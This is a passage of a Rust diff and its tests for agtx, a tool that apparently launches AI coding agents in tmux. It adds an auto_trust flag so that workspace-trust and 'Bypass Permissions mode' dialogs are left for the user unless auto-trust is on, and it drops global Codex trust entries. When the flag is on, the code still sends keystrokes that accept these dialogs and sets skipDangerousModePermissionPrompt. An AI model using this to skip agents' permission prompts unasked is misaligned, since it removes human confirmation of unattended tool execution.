+fn visible_security_dialog(agent_name: Option<&str>, content: &str) -> Option<&'static str> {
+ launch_dialogs_for(agent_name)
+ .into_iter()
+ .find(|d| d.security && d.matches(content))
+ .and_then(|d| d.patterns.first().copied())
+}
+
fn dismiss_launch_dialog(
tmux_ops: &Arc<dyn TmuxOperations>,
target: &str,
agent_name: Option<&str>,
content: &str,
state: &mut LaunchDialogState,
+ auto_trust: bool,
) -> bool {
let dialogs = launch_dialogs_for(agent_name);
let content_hash = hash_of(content);
@@ -9983,6 +10292,13 @@ fn dismiss_launch_dialog(
if !dialog.matches(content) {
continue;
}
+ // Vouching for a directory, or accepting unattended tool execution, is the
+ // user's call. Left alone the agent simply waits, and the task shows
+ // `Blocked` with the reason β€” nothing is lost, because a prompt handed to
+ // the process in argv is queued behind the dialog rather than eaten by it.
+ if dialog.security && !auto_trust {
+ continue;
+ }
let (attempts, last_hash) = state.attempts[i];
if attempts >= LAUNCH_DIALOG_MAX_ATTEMPTS {
continue;
@@ -10006,6 +10322,7 @@ fn wait_for_agent_ready(
tmux_ops: &Arc<dyn TmuxOperations>,
target: &str,
agent_name: Option<&str>,
+ auto_trust: bool,
) -> Option<String> {
// Step 1: detect the ready signal (up to 30s).
// Three detection methods, whichever fires first:
@@ -10029,7 +10346,22 @@ fn wait_for_agent_ready(
// dialog standing, with the task prompt then typed into the menu.
let content = tmux_ops.capture_pane(target).ok();
if let Some(ref c) = content {
- if dismiss_launch_dialog(tmux_ops, target, agent_name, c, &mut dialog_state) {
+ if !auto_trust && visible_security_dialog(agent_name, c).is_some() {
+ // Parked awaiting a human. Returning `None` is what stops the
+ // caller typing the task into a menu that ignores text β€” the
+ // failure this whole path exists to prevent. Agents on the argv
+ // lane never reach here: their prompt is already queued in the
+ // process and runs the moment the user answers.
+ return None;
+ }
+ if dismiss_launch_dialog(
+ tmux_ops,
+ target,
+ agent_name,
+ c,
+ &mut dialog_state,
+ auto_trust,
+ ) {
// Keep looping rather than breaking: the answer may have been
// dropped by a TUI that was not reading stdin yet, and the
// readiness checks below would otherwise run against a pane
@@ -10086,7 +10418,17 @@ fn wait_for_agent_ready(
// be watched for here too β€” this is the case that actually bit in a
// swebench container: claude exec'd, Check 1 broke out of step 1, and
// the warning appeared only once we were already in this loop.
- if dismiss_launch_dialog(tmux_ops, target, agent_name, &content, &mut dialog_state) {
+ if !auto_trust && visible_security_dialog(agent_name, &content).is_some() {
+ return None;
+ }
+ if dismiss_launch_dialog(
+ tmux_ops,
+ target,
+ agent_name,
+ &content,
+ &mut dialog_state,
+ auto_trust,
+ ) {
last_content = String::new();
stable_ticks = 0;
continue;
@@ -10363,6 +10705,32 @@ fn write_skills_to_worktree(
agent_names: &[&str],
agent_hooks: bool,
) {
+ // Replay the project's existing trust onto this worktree, for the one agent
+ // that needs it. Antigravity matches trusted paths **exactly** β€” no ancestor
+ // inheritance at any depth β€” so a user who already trusted the project would
+ // otherwise face a fresh prompt for every task.
+ //
+ // This is the right call site for both paths: worktree creation *and* an agent
+ // switch land here, and with a multi-agent config the switched-in agent sees
+ // the worktree for the first time at switch time, not at creation.
+ //
+ // It never grants trust that does not already exist β€” `seed_from_project` is a
+ // no-op unless the project root is in the agent's own store. See
+ // `agent::trust`.
+ if let Some(home) = agent_trust_home() {
+ for agent_name in agent_names {
+ if !agent::trust::needs_seeding(agent_name) {
+ continue;
+ }
+ let _ = agent::trust::seed_from_project(
+ agent_name,
+ project_path,
+ Path::new(worktree_path),
+ &home,
+ );
+ }
+ }
+
let agtx_dir = Path::new(worktree_path).join(".agtx");
let _ = std::fs::create_dir_all(&agtx_dir);
@@ -10502,15 +10870,15 @@ fn write_mcp_config(
// time, so without this the agent parks on that dialog and the task
// prompt is typed into the menu. (IS_SANDBOX=1 covers only the
// separate root-user check, not this one.)
+ //
+ // Note this is a *settings* key, so unlike `hasTrustDialogAccepted`
+ // (a ~/.claude.json project record) a worktree-local file is enough.
obj.insert(
- "bypassPermissionsModeAccepted".to_string(),
+ "skipDangerousModePermissionPrompt".to_string(),
serde_json::json!(true),
);
if agent_hooks {
- merge_claude_hooks(
- obj,
- claude_hook_settings(&agtx_bin),
- );
+ merge_claude_hooks(obj, claude_hook_settings(&agtx_bin));
}
}
let _ = std::fs::write(
@@ -10527,26 +10895,22 @@ fn write_mcp_config(
let _ = std::fs::create_dir_all(&dir);
let _ = std::fs::write(dir.join("config.toml"), toml);
- // Codex only loads project-local .codex/config.toml for trusted paths.
- // Add a trust entry for this worktree to ~/.codex/config.toml.
- if let Some(home) = agent_trust_home() {
- let global_config_path = home.join(".codex").join("config.toml");
- let trust_entry = format!(
- "\n[projects.\"{}\"]\ntrust_level = \"trusted\"\n",
- worktree_path
- );
- let existing = std::fs::read_to_string(&global_config_path).unwrap_or_default();
- if !existing.contains(worktree_path) {
- let _ = std::fs::OpenOptions::new()
- .create(true)
- .append(true)
- .open(&global_config_path)
- .and_then(|mut f| {
- use std::io::Write;
- f.write_all(trust_entry.as_bytes())
- });
- }
- }
+ // agtx used to append `[projects."<worktree>"] trust_level = "trusted"`
+ // to the user's global ~/.codex/config.toml here, on the belief that
+ // codex would otherwise ignore the project-local config written above
+ // and lose its MCP server.
+ //
+ // Measured against codex 0.144.5 and removed. Codex resolves trust to
+ // the **git repository root** β€” its own dialog says so: "You're in a
+ // subdirectory of a Git project. Trusting will apply to the repository
+ // root." With only the root trusted, a worktree beneath it showed no
+ // dialog *and* loaded its own .codex/config.toml: `/mcp` listed agtx
+ // either way, with or without a per-worktree entry. The entry bought
+ // nothing, and one had accumulated per worktree in the user's config.
+ //
+ // What remains is the case where the user never trusted the project at
+ // all. That is a decision for them, surfaced rather than made here β€”
+ // see `agent_trust`.
}
agent::McpConfigKind::GeminiJson => {
let cfg = serde_json::json!({
@@ -10652,12 +11016,7 @@ fn write_mcp_config(
/// and had already drifted: the latter treated Claude's format as its `_`
/// fallback, so a future agent with a skill dir but no arm would silently get
/// Claude's `.md` layout from one and nothing from the other.
-fn write_skill_file(
- spec: &agent::AgentSpec,
- skill_name: &str,
- content: &str,
- native_dir: &Path,
-) {
+fn write_skill_file(spec: &agent::AgentSpec, skill_name: &str, content: &str, native_dir: &Path) {
match spec.skill_layout {
agent::SkillLayout::CommandFile => {
let transformed = transform_skill_frontmatter(content);
diff --git a/src/tui/app_tests.rs b/src/tui/app_tests.rs
index 1c8a478..a51112f 100644
--- a/src/tui/app_tests.rs
+++ b/src/tui/app_tests.rs
@@ -3257,8 +3257,7 @@ fn test_resolve_skill_command_collapse_controls_task_structure() {
let collapsed =
resolve_skill_command(&plugin, "planning", "claude", task, 1, "id-1", true).unwrap();
assert_eq!(
- collapsed,
- "/speckit.specify Add a login form. - email field - password field",
+ collapsed, "/speckit.specify Add a login form. - email field - password field",
"typed path must stay on one line"
);
assert!(!collapsed.contains('\n'));
@@ -3639,7 +3638,12 @@ fn test_deliver_message_on_a_busy_pane_confirms_on_the_text_not_the_change() {
});
let tmux: std::sync::Arc<dyn TmuxOperations> = std::sync::Arc::new(mock);
- assert!(!deliver_message(&tmux, "sess:win", "/agtx-plan abc-123", true));
+ assert!(!deliver_message(
+ &tmux,
+ "sess:win",
+ "/agtx-plan abc-123",
+ true
+ ));
assert_eq!(
*sends.lock().unwrap(),
DELIVERY_ATTEMPTS as usize,
@@ -3669,8 +3673,17 @@ fn test_deliver_message_on_a_busy_pane_stops_once_the_text_appears() {
});
let tmux: std::sync::Arc<dyn TmuxOperations> = std::sync::Arc::new(mock);
- assert!(deliver_message(&tmux, "sess:win", "/agtx-plan abc-123", true));
- assert_eq!(*sends.lock().unwrap(), 1, "no resend once the text is visible");
+ assert!(deliver_message(
+ &tmux,
+ "sess:win",
+ "/agtx-plan abc-123",
+ true
+ ));
+ assert_eq!(
+ *sends.lock().unwrap(),
+ 1,
+ "no resend once the text is visible"
+ );
}
/// A resend clears the composer first: "nothing was seen to land" is not "nothing
@@ -3705,7 +3718,10 @@ fn test_deliver_message_clears_the_composer_before_a_resend() {
#[test]
fn test_delivery_needle_survives_wrapping() {
let needle = delivery_needle("/agtx-plan 57d57fe8-5990\n\nSMOKE TEST").unwrap();
- assert!(pane_shows(" > /agtx-plan\n 57d57fe8-5990 ...", &needle));
+ assert!(pane_shows(
+ " > /agtx-plan\n 57d57fe8-5990 ...",
+ &needle
+ ));
assert!(!pane_shows(" > waiting for input", &needle));
// Nothing distinctive enough to look for.
assert!(delivery_needle("hi").is_none());
@@ -3768,17 +3784,34 @@ fn test_deliver_message_waits_for_the_pane_to_go_quiet_first() {
/// `test_deliver_message_resends_while_the_pane_is_unchanged`.
#[cfg(feature = "test-mocks")]
fn expect_echoing_pane(mock: &mut MockTmuxOperations, echoed: &'static str) {
- // `wait_for_pane_settled` needs one baseline capture plus SETTLE_STABLE_POLLS
- // identical ones; `deliver_message` then takes its own baseline.
+ // A pane that goes quiet, echoes the paste, and then **submits** β€” three
+ // phases, because delivery and submission are two separate things the code
+ // confirms separately.
+ //
+ // 1. quiet: `wait_for_pane_settled` needs one baseline capture plus
+ // SETTLE_STABLE_POLLS identical ones; `deliver_message` then takes
+ // its own baseline.
+ // 2. echoed: the paste rendered. `deliver_message` sees the change and
+ // returns; `submit_message` then takes its baseline from it.
+ // 3. cleared: the Enter took effect. Submitting moves the message up and
+ // empties the composer, which is a visible change β€” that is how
+ // `submit_message` knows the keystroke was not dropped.
+ //
+ // Phase 3 is what makes "exactly one Enter" true. Without it the pane looks
+ // frozen after the paste, which is precisely the dropped-Enter case, and
+ // retrying is then the correct behaviour rather than a bug.
let quiet = SETTLE_STABLE_POLLS as usize + 2;
+ let echo_end = quiet + 2; // deliver_message's confirming poll, then submit_message's baseline
let calls = std::sync::Arc::new(std::sync::Mutex::new(0usize));
mock.expect_capture_pane().returning(move |_| {
let mut n = calls.lock().unwrap();
*n += 1;
Ok(if *n <= quiet {
"idle composer".to_string()
- } else {
+ } else if *n <= echo_end {
echoed.to_string()
+ } else {
+ "composer cleared, message submitted".to_string()
})
});
}
@@ -4129,7 +4162,7 @@ fn test_wait_for_agent_ready_detects_agent_process() {
mock.expect_capture_pane().returning(|_| Ok(String::new()));
let tmux: std::sync::Arc<dyn TmuxOperations> = std::sync::Arc::new(mock);
- let result = wait_for_agent_ready(&tmux, "sess:win", None);
+ let result = wait_for_agent_ready(&tmux, "sess:win", None, true);
assert_eq!(result, Some("sess:win".to_string()));
}
@@ -4143,7 +4176,7 @@ fn test_wait_for_agent_ready_detects_ready_indicator() {
.returning(|_| Ok("Welcome to Gemini\nType your message".to_string()));
let tmux: std::sync::Arc<dyn TmuxOperations> = std::sync::Arc::new(mock);
- let result = wait_for_agent_ready(&tmux, "sess:win", None);
+ let result = wait_for_agent_ready(&tmux, "sess:win", None, true);
assert_eq!(result, Some("sess:win".to_string()));
}
@@ -4164,7 +4197,7 @@ fn test_wait_for_agent_ready_claude_bypass_accept() {
});
let tmux: std::sync::Arc<dyn TmuxOperations> = std::sync::Arc::new(mock);
- let result = wait_for_agent_ready(&tmux, "sess:win", None);
+ let result = wait_for_agent_ready(&tmux, "sess:win", None, true);
assert_eq!(result, Some("sess:win".to_string()));
let calls = literal_calls.lock().unwrap();
assert!(
@@ -6006,9 +6039,7 @@ fn test_transition_to_planning_reuses_live_session() {
mock_tmux.expect_window_exists().returning(|_| Ok(true));
// spawn_send_to_agent may call these; allow any number of calls
mock_tmux.expect_send_keys().returning(|_, _| Ok(()));
- mock_tmux
- .expect_send_key()
- .returning(|_, _| Ok(()));
+ mock_tmux.expect_send_key().returning(|_, _| Ok(()));
mock_tmux
.expect_capture_pane()
.returning(|_| Ok(String::new()));
@@ -6128,9 +6159,7 @@ fn test_transition_to_running_with_session_returns_false() {
// Task has a session β†’ spawns send_to_agent (background), still returns Ok(false)
let mut mock_tmux = MockTmuxOperations::new();
mock_tmux.expect_send_keys().returning(|_, _| Ok(()));
- mock_tmux
- .expect_send_key()
- .returning(|_, _| Ok(()));
+ mock_tmux.expect_send_key().returning(|_, _| Ok(()));
mock_tmux
.expect_capture_pane()
.returning(|_| Ok(String::new()));
@@ -6169,9 +6198,7 @@ fn test_transition_to_review_no_pr_sets_review_confirm_popup() {
// No existing PR β†’ shows review confirm popup (to ask if user wants to create PR)
let mut mock_tmux = MockTmuxOperations::new();
mock_tmux.expect_send_keys().returning(|_, _| Ok(()));
- mock_tmux
- .expect_send_key()
- .returning(|_, _| Ok(()));
+ mock_tmux.expect_send_key().returning(|_, _| Ok(()));
mock_tmux
.expect_capture_pane()
.returning(|_| Ok(String::new()));
@@ -6209,9 +6236,7 @@ fn test_transition_to_review_existing_pr_spawns_push() {
// PR already exists β†’ sets pr_status_popup (Pushing) and spawns push thread
let mut mock_tmux = MockTmuxOperations::new();
mock_tmux.expect_send_keys().returning(|_, _| Ok(()));
- mock_tmux
- .expect_send_key()
- .returning(|_, _| Ok(()));
+ mock_tmux.expect_send_key().returning(|_, _| Ok(()));
mock_tmux
.expect_capture_pane()
.returning(|_| Ok(String::new()));
@@ -6380,6 +6405,7 @@ fn make_session_task_status(
phase_status,
content_hash: None,
hook_status: None,
+ awaiting_trust: None,
status,
worktree_path: None,
session_name: None,
@@ -6458,6 +6484,7 @@ fn refresh_with_hook(
phase_status: PhaseStatus::Working,
content_hash,
hook_status,
+ awaiting_trust: None,
status: TaskStatus::Planning,
worktree_path: None,
session_name: None,
@@ -6581,6 +6608,7 @@ fn test_ready_artifact_outranks_a_working_hook() {
phase_status: PhaseStatus::Ready,
content_hash: None,
hook_status: Some(hook(HookState::Working)),
+ awaiting_trust: None,
status: TaskStatus::Planning,
worktree_path: None,
session_name: None,
@@ -6608,6 +6636,7 @@ fn test_apply_session_refresh_working_becomes_idle_after_15s() {
phase_status: PhaseStatus::Working,
content_hash: Some(99), // same hash β†’ stable
hook_status: None,
+ awaiting_trust: None,
status: TaskStatus::Planning,
worktree_path: None,
session_name: None,
@@ -6636,6 +6665,7 @@ fn test_apply_session_refresh_working_stays_working_hash_changed() {
phase_status: PhaseStatus::Working,
content_hash: Some(100), // different hash β†’ timer resets
hook_status: None,
+ awaiting_trust: None,
status: TaskStatus::Planning,
worktree_path: None,
session_name: None,
@@ -7926,7 +7956,12 @@ fn test_toggle_orchestrator_spawns_new_session() {
mock_tmux
.expect_create_window()
.withf(
- |_session, window_name, _dir, _cmd, keep_shell_on_exit: &bool, _env: &[(String, String)]| {
+ |_session,
+ window_name,
+ _dir,
+ _cmd,
+ keep_shell_on_exit: &bool,
+ _env: &[(String, String)]| {
window_name == "orchestrator" && !keep_shell_on_exit
},
)
@@ -8065,7 +8100,12 @@ fn test_toggle_orchestrator_clears_stale_session_and_respawns() {
mock_tmux
.expect_create_window()
.withf(
- |_session, window_name, _dir, _cmd, keep_shell_on_exit: &bool, _env: &[(String, String)]| {
+ |_session,
+ window_name,
+ _dir,
+ _cmd,
+ keep_shell_on_exit: &bool,
+ _env: &[(String, String)]| {
window_name == "orchestrator" && !keep_shell_on_exit
},
)
@@ -9352,6 +9392,7 @@ fn test_cleanup_task_resources_kills_window_and_removes_worktree() {
cleanup_task_resources(
"task-id",
+ "claude",
&Some("task/branch".to_string()),
&Some("proj:task-win".to_string()),
&Some("/tmp/wt".to_string()),
@@ -9370,6 +9411,7 @@ fn test_cleanup_task_resources_noop_when_no_session_or_worktree() {
cleanup_task_resources(
"task-id",
+ "claude",
&None,
&None,
&None,
@@ -9724,9 +9766,7 @@ fn test_switch_agent_always_sends_new_agent_cmd() {
mock_tmux
.expect_pane_current_command()
.returning(|_| Some("claude".to_string()));
- mock_tmux
- .expect_send_key()
- .returning(|_, _| Ok(()));
+ mock_tmux.expect_send_key().returning(|_, _| Ok(()));
// This is the key assertion β€” new_agent_cmd must be sent exactly once
mock_tmux
.expect_send_keys()
@@ -9756,6 +9796,7 @@ fn test_wait_for_agent_ready_returns_when_process_detected() {
&(Arc::new(mock_tmux) as Arc<dyn TmuxOperations>),
"proj:task",
None,
+ true,
);
assert_eq!(result, Some("proj:task".to_string()));
}
@@ -9776,6 +9817,7 @@ fn test_wait_for_agent_ready_returns_when_ready_indicator_in_pane() {
&(Arc::new(mock_tmux) as Arc<dyn TmuxOperations>),
"proj:task",
None,
+ true,
);
assert_eq!(result, Some("proj:task".to_string()));
}
@@ -9809,6 +9851,7 @@ fn test_wait_for_agent_ready_handles_claude_bypass_prompt() {
&(Arc::new(mock_tmux) as Arc<dyn TmuxOperations>),
"proj:task",
None,
+ true,
);
assert_eq!(result, Some("proj:task".to_string()));
}
@@ -9841,6 +9884,7 @@ fn test_wait_for_agent_ready_returns_when_content_stabilizes() {
&(Arc::new(mock_tmux) as Arc<dyn TmuxOperations>),
"proj:task",
None,
+ true,
);
assert_eq!(result, Some("proj:task".to_string()));
}
@@ -9867,6 +9911,7 @@ fn test_wait_for_agent_ready_always_returns_some() {
&(Arc::new(mock_tmux) as Arc<dyn TmuxOperations>),
"proj:task",
None,
+ true,
);
assert_eq!(result, Some("proj:task".to_string()));
}
@@ -10004,7 +10049,12 @@ fn test_wait_for_agent_ready_detects_claude_via_banner() {
.returning(|_| Some("bash".to_string()));
mock.expect_capture_pane()
.returning(|_| Ok("Claude Code v2.1.72\nsome context".to_string()));
- let result = wait_for_agent_ready(&(Arc::new(mock) as Arc<dyn TmuxOperations>), "proj:task", None);
+ let result = wait_for_agent_ready(
+ &(Arc::new(mock) as Arc<dyn TmuxOperations>),
+ "proj:task",
+ None,
+ true,
+ );
assert_eq!(result, Some("proj:task".to_string()));
}
@@ -10016,7 +10066,12 @@ fn test_wait_for_agent_ready_detects_cursor_via_banner() {
.returning(|_| Some("bash".to_string()));
mock.expect_capture_pane()
.returning(|_| Ok("Cursor Agent\n> ".to_string()));
- let result = wait_for_agent_ready(&(Arc::new(mock) as Arc<dyn TmuxOperations>), "proj:task", None);
+ let result = wait_for_agent_ready(
+ &(Arc::new(mock) as Arc<dyn TmuxOperations>),
+ "proj:task",
+ None,
+ true,
+ );
assert_eq!(result, Some("proj:task".to_string()));
}
@@ -10028,7 +10083,12 @@ fn test_wait_for_agent_ready_detects_opencode_via_banner() {
.returning(|_| Some("bash".to_string()));
mock.expect_capture_pane()
.returning(|_| Ok("Ask anything\n> ".to_string()));
- let result = wait_for_agent_ready(&(Arc::new(mock) as Arc<dyn TmuxOperations>), "proj:task", None);
+ let result = wait_for_agent_ready(
+ &(Arc::new(mock) as Arc<dyn TmuxOperations>),
+ "proj:task",
+ None,
+ true,
+ );
assert_eq!(result, Some("proj:task".to_string()));
}
@@ -10040,7 +10100,12 @@ fn test_wait_for_agent_ready_detects_codex_via_banner() {
.returning(|_| Some("bash".to_string()));
mock.expect_capture_pane()
.returning(|_| Ok("OpenAI Codex\nsome output".to_string()));
- let result = wait_for_agent_ready(&(Arc::new(mock) as Arc<dyn TmuxOperations>), "proj:task", None);
+ let result = wait_for_agent_ready(
+ &(Arc::new(mock) as Arc<dyn TmuxOperations>),
+ "proj:task",
+ None,
+ true,
+ );
assert_eq!(result, Some("proj:task".to_string()));
}
@@ -10086,9 +10151,7 @@ fn test_switch_agent_opencode_sends_exit() {
}
Ok(())
});
- mock_tmux
- .expect_send_key()
- .returning(|_, _| Ok(()));
+ mock_tmux.expect_send_key().returning(|_, _| Ok(()));
mock_tmux
.expect_pane_current_command()
.returning(|_| Some("bash".to_string()));
@@ -11194,6 +11257,7 @@ fn test_dismiss_launch_dialog_answers_claude_bypass_warning() {
Some("claude"),
"WARNING: Claude Code running in Bypass Permissions mode\n 1. No, exit\n 2. Yes, I accept",
&mut LaunchDialogState::default(),
+ true,
));
}
@@ -11228,6 +11292,7 @@ fn test_dismiss_launch_dialog_answers_claude_workspace_trust() {
\u{276f} 1. Yes, I trust this folder\n 2. No, exit\n\
Enter to confirm \u{b7} Esc to cancel",
&mut LaunchDialogState::default(),
+ true,
));
}
@@ -11253,9 +11318,7 @@ fn test_claude_launch_dialogs_do_not_overlap() {
#[cfg(feature = "test-mocks")]
fn test_dismiss_launch_dialog_answers_gemini_trust() {
let mut mock = MockTmuxOperations::new();
- mock.expect_send_key()
- .times(2)
- .returning(|_, _| Ok(()));
+ mock.expect_send_key().times(2).returning(|_, _| Ok(()));
let ops: Arc<dyn TmuxOperations> = Arc::new(mock);
assert!(dismiss_launch_dialog(
@@ -11264,6 +11327,7 @@ fn test_dismiss_launch_dialog_answers_gemini_trust() {
Some("gemini"),
"Do you trust the files in this folder?",
&mut LaunchDialogState::default(),
+ true,
));
}
@@ -11282,6 +11346,7 @@ fn test_dismiss_launch_dialog_ignores_normal_output() {
None,
"❯ Claude Code\n Ask anything\n✻ Cooked for 3s",
&mut LaunchDialogState::default(),
+ true,
));
}
@@ -11300,9 +11365,11 @@ fn test_dismiss_launch_dialog_retries_while_the_pane_is_unchanged() {
let mut st = LaunchDialogState::default();
let pane = "WARNING: Bypass Permissions mode\n 2. Yes, I accept";
- assert!(dismiss_launch_dialog(&ops, "t:1", None, pane, &mut st));
+ assert!(dismiss_launch_dialog(
+ &ops, "t:1", None, pane, &mut st, true
+ ));
assert!(
- dismiss_launch_dialog(&ops, "t:1", None, pane, &mut st),
+ dismiss_launch_dialog(&ops, "t:1", None, pane, &mut st, true),
"an unchanged pane means the answer was dropped β€” retry"
);
}
@@ -11320,14 +11387,22 @@ fn test_dismiss_launch_dialog_stops_once_the_pane_redraws() {
let ops: Arc<dyn TmuxOperations> = Arc::new(mock);
let mut st = LaunchDialogState::default();
- assert!(dismiss_launch_dialog(&ops, "t:1", None, "2. Yes, I accept", &mut st));
+ assert!(dismiss_launch_dialog(
+ &ops,
+ "t:1",
+ None,
+ "2. Yes, I accept",
+ &mut st,
+ true
+ ));
// Same dialog text, but the frame changed β€” it is the previous render.
assert!(!dismiss_launch_dialog(
&ops,
"t:1",
None,
"2. Yes, I accept\n(redrawing...)",
- &mut st
+ &mut st,
+ true
));
}
@@ -11346,9 +11421,13 @@ fn test_dismiss_launch_dialog_gives_up_after_max_attempts() {
let pane = "2. Yes, I accept";
for _ in 0..LAUNCH_DIALOG_MAX_ATTEMPTS {
- assert!(dismiss_launch_dialog(&ops, "t:1", None, pane, &mut st));
+ assert!(dismiss_launch_dialog(
+ &ops, "t:1", None, pane, &mut st, true
+ ));
}
- assert!(!dismiss_launch_dialog(&ops, "t:1", None, pane, &mut st));
+ assert!(!dismiss_launch_dialog(
+ &ops, "t:1", None, pane, &mut st, true
+ ));
}
/// The two dialogs are tracked independently β€” answering Claude's must not
@@ -11357,19 +11436,25 @@ fn test_dismiss_launch_dialog_gives_up_after_max_attempts() {
#[cfg(feature = "test-mocks")]
fn test_dismiss_launch_dialog_tracks_dialogs_independently() {
let mut mock = MockTmuxOperations::new();
- mock.expect_send_key()
- .times(4)
- .returning(|_, _| Ok(()));
+ mock.expect_send_key().times(4).returning(|_, _| Ok(()));
let ops: Arc<dyn TmuxOperations> = Arc::new(mock);
let mut answered = LaunchDialogState::default();
- assert!(dismiss_launch_dialog(&ops, "t:1", None, "2. Yes, I accept", &mut answered));
+ assert!(dismiss_launch_dialog(
+ &ops,
+ "t:1",
+ None,
+ "2. Yes, I accept",
+ &mut answered,
+ true
+ ));
assert!(dismiss_launch_dialog(
&ops,
"t:1",
Some("gemini"),
"Do you trust the files in this folder?",
- &mut answered
+ &mut answered,
+ true
));
}
@@ -11399,7 +11484,10 @@ fn test_write_skills_preserves_existing_claude_settings() {
let raw = std::fs::read_to_string(claude.join("settings.local.json")).unwrap();
let v: serde_json::Value = serde_json::from_str(&raw).unwrap();
- assert_eq!(v["permissions"]["allow"][0], "Bash(cargo test:*)", "permissions lost");
+ assert_eq!(
+ v["permissions"]["allow"][0], "Bash(cargo test:*)",
+ "permissions lost"
+ );
assert_eq!(v["env"]["MY_VAR"], "1", "env lost");
assert_eq!(v["enableAllProjectMcpServers"], serde_json::json!(true));
// agtx's hooks must be present...
@@ -11410,9 +11498,9 @@ fn test_write_skills_preserves_existing_claude_settings() {
// ...without discarding the user's own hook on an event agtx also uses.
let stop = v["hooks"]["Stop"].as_array().expect("Stop missing");
let has_user_hook = stop.iter().any(|d| {
- d["hooks"].as_array().map_or(false, |h| {
- h.iter().any(|x| x["command"] == "my-own-hook")
- })
+ d["hooks"]
+ .as_array()
+ .map_or(false, |h| h.iter().any(|x| x["command"] == "my-own-hook"))
});
assert!(has_user_hook, "user's own Stop hook was discarded: {}", raw);
}
@@ -11478,7 +11566,12 @@ fn test_skip_worktree_tasks_share_one_task_agnostic_hook() {
let v: serde_json::Value = serde_json::from_str(&raw).unwrap();
let stop = v["hooks"]["Stop"].as_array().unwrap();
- assert_eq!(stop.len(), 1, "deploys must not accumulate entries: {}", raw);
+ assert_eq!(
+ stop.len(),
+ 1,
+ "deploys must not accumulate entries: {}",
+ raw
+ );
let cmd = stop[0]["hooks"][0]["command"].as_str().unwrap();
assert!(
cmd.contains("hook --env"),
@@ -11499,7 +11592,10 @@ fn test_deploy_writes_a_binary_marker() {
write_skills_to_worktree(&wt, dir.path(), &None, &["claude"], true);
let marker = read_deploy_marker(dir.path()).expect("marker missing");
- let current = std::env::current_exe().unwrap().to_string_lossy().to_string();
+ let current = std::env::current_exe()
+ .unwrap()
+ .to_string_lossy()
+ .to_string();
assert_eq!(marker, current);
}
@@ -11528,7 +11624,11 @@ fn test_hooks_are_replaced_not_duplicated_after_the_binary_moves() {
let stop = v["hooks"]["Stop"].as_array().unwrap();
assert_eq!(stop.len(), 1, "stale entry was not replaced: {}", raw);
- assert!(!raw.contains("/old/gone/agtx"), "dead path survived: {}", raw);
+ assert!(
+ !raw.contains("/old/gone/agtx"),
+ "dead path survived: {}",
+ raw
+ );
}
#[test]
@@ -11554,7 +11654,10 @@ fn test_claude_settings_preflight_bypass_acceptance() {
let raw = std::fs::read_to_string(dir.path().join(".claude/settings.local.json")).unwrap();
let v: serde_json::Value = serde_json::from_str(&raw).unwrap();
- assert_eq!(v["bypassPermissionsModeAccepted"], serde_json::json!(true));
+ assert_eq!(
+ v["skipDangerousModePermissionPrompt"],
+ serde_json::json!(true)
+ );
}
/// Deploying one skill for every supported agent lands at exactly these paths.
@@ -11723,7 +11826,15 @@ fn test_clear_context_command_is_claude_only() {
crate::agent::spec("claude").unwrap().clear_context_command,
Some("/clear")
);
- for agent in ["codex", "gemini", "cursor", "antigravity", "opencode", "grok", "copilot"] {
+ for agent in [
+ "codex",
+ "gemini",
+ "cursor",
+ "antigravity",
+ "opencode",
+ "grok",
+ "copilot",
+ ] {
assert_eq!(
crate::agent::spec(agent).unwrap().clear_context_command,
None,
@@ -11746,9 +11857,15 @@ fn test_launch_dialog_derivation_matches_the_previous_literals() {
// entries were added afterwards, each verified against codex-cli 0.144.5,
// and antigravity's after its trust dialog was found parking every task.
let mut want = vec![
- (vec!["Yes, I accept", "I accept the risk"], vec!["2", "Enter"]),
+ (
+ vec!["Yes, I accept", "I accept the risk"],
+ vec!["2", "Enter"],
+ ),
(vec!["Yes, I trust this folder"], vec!["1", "Enter"]),
- (vec!["Do you trust the files in this folder?"], vec!["1", "Enter"]),
+ (
+ vec!["Do you trust the files in this folder?"],
+ vec!["1", "Enter"],
+ ),
(
vec!["Do you trust the contents of this directory?"],
vec!["1", "Enter"],
@@ -11864,6 +11981,7 @@ fn test_launch_dialogs_are_scoped_to_their_agent() {
Some("claude"),
gemini_pane,
&mut LaunchDialogState::default(),
+ true,
));
// In a Gemini pane it is answered.
@@ -11876,6 +11994,7 @@ fn test_launch_dialogs_are_scoped_to_their_agent() {
Some("gemini"),
gemini_pane,
&mut LaunchDialogState::default(),
+ true,
));
}
@@ -11893,6 +12012,7 @@ fn test_unknown_agent_falls_back_to_every_dialog() {
None,
"Do you trust the files in this folder?",
&mut LaunchDialogState::default(),
+ true,
));
}
@@ -11928,6 +12048,7 @@ fn test_dismiss_launch_dialog_answers_codex_directory_trust() {
Some("codex"),
pane,
&mut LaunchDialogState::default(),
+ true,
));
}
@@ -11961,6 +12082,7 @@ fn test_dismiss_launch_dialog_skips_codex_update_prompt() {
Some("codex"),
pane,
&mut LaunchDialogState::default(),
+ true,
));
}
@@ -11994,6 +12116,7 @@ fn test_antigravity_trust_dialog_is_answered_with_a_bare_enter() {
Some("antigravity"),
pane,
&mut LaunchDialogState::default(),
+ true,
));
assert_eq!(*keys.lock().unwrap(), vec!["Enter".to_string()]);
}
@@ -12025,6 +12148,7 @@ fn test_cursor_workspace_trust_is_answered_with_its_access_key() {
Some("cursor"),
pane,
&mut LaunchDialogState::default(),
+ true,
));
assert_eq!(*keys.lock().unwrap(), vec!["a".to_string()]);
}
@@ -12035,7 +12159,8 @@ fn test_cursor_workspace_trust_is_answered_with_its_access_key() {
#[test]
#[cfg(feature = "test-mocks")]
fn test_cursor_and_codex_trust_dialogs_do_not_cross_fire() {
- let cursor_pane = "\u{26a0} Workspace Trust Required\nDo you trust the contents of this directory?";
+ let cursor_pane =
+ "\u{26a0} Workspace Trust Required\nDo you trust the contents of this directory?";
// Codex's entry matches the shared question line β€” and its answer is "1",
// which is not an option in cursor's menu at all. Scoping is what keeps it
// from firing here, so this must be asserted against *codex*, not against an
@@ -12054,6 +12179,7 @@ fn test_cursor_and_codex_trust_dialogs_do_not_cross_fire() {
Some("cursor"),
cursor_pane,
&mut LaunchDialogState::default(),
+ true,
));
assert_eq!(
*codex_keys.lock().unwrap(),
@@ -12074,13 +12200,16 @@ fn test_cursor_and_codex_trust_dialogs_do_not_cross_fire() {
Ok(())
});
let ops2: Arc<dyn TmuxOperations> = Arc::new(mock2);
- assert!(dismiss_launch_dialog(
- &ops2,
- "t:1",
- Some("cursor"),
- codex_pane,
- &mut LaunchDialogState::default(),
- ) == false);
+ assert!(
+ dismiss_launch_dialog(
+ &ops2,
+ "t:1",
